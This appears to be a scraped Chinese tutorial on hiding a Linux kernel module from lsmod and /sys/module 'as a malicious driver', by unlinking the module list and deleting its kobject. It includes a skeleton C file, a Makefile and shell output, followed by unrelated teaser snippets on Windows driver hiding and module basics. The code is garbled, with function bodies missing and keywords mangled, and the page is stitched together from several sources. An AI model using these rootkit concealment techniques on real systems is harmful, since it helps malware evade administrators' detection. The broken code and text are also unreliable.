作為惡意驅動,肯定是希望自己模組載入之後不會被發現,那麼就需要對安裝的驅動模組進行隱藏,在驅動初始化入口進行摘鏈,kobject_del()函式刪除當前模組的kobject就可以起到在 lsmod 和 /sys/module中隱藏。
list_del_init
(&__this_module.list)
;
test.c
#include
module_license
("gpl");
module_author
("curtis li");
/*作者*/
module_description
("hello");
module_version
("1.0");
//版本號
static
inthello_init
(void
)static
void
hello_exit
(void
)module_init
(hello_init)
;module_exit
(hello_exit)
;
makefile:
config_module_sig=n
ifeq ($(kernelrelease),)
roots_dir =
/root/
#核心原始碼路徑,不同環境可能會不一樣,核心原始碼一定要先編譯
kernel_dir =
/lib/modules/$(shell uname -r)
/build
cur_dir = $(shell pwd)
all:
make -c $(kernel_dir) m=$(cur_dir) modules
clean :
make -c $(kernel_dir) m=$(cur_dir) clean
install:
insmod test.ko
uninstall:
rmmod test
else
#用於指定到底編譯的是哪個**--hello.c
obj-m +
= test.o
#obj-m += math.o
endif
驅動載入之後,可以使用lsmod去查詢驅動是否安裝成功,ko名就是安裝之後的模組名
curtis@curtis-virtual-machine:
~/desktop/test$ lsmod | grep test
curtis@curtis-virtual-machine:
~/desktop/test$
lsmod命令和相對應的檢視/proc/modules以外,還可以通過檢視/sys/module/目錄來發現現有的模組
curtis@curtis-virtual-machine:
~/desktop/test$ ls
makefile modules.order module.symvers test.c test.ko test.mod test.mod.c test.mod.o test.o
curtis@curtis-virtual-machine:
~/desktop/test$ ls /sys/module/
| grep test
隱藏驅動模組 原始碼
xp親測有效,使用我們自己編寫的列舉驅動模組會看不到。列舉驅動模組請看文章 但是使用ark工具依然能看到我們隱藏的驅動某塊,比如kernel detective 和pchunter 但是隱藏的驅動模組為紅色,意為ark工具檢測到了該模組進行了隱藏 include typedef unsigned l...
Linux驅動模組基礎
1 模組載入函式 linux核心模組載入函式一般以 init標識宣告,典型的模組載入函式的形式如下 static int init initialization function void module init initialization function 模組載入函式必須以 module in...
Linux驅動 模組通訊
編寫模組通訊例項 模組add sub提供add integer 加法與sub integer 減法函式,模組test呼叫函式完成操作。分別對兩模組建立兩個資料夾,編寫對應的.c與makefile檔案,add sub.h在add sub模組資料夾內,分別make編譯成功。遇到的問題 1.insmod ...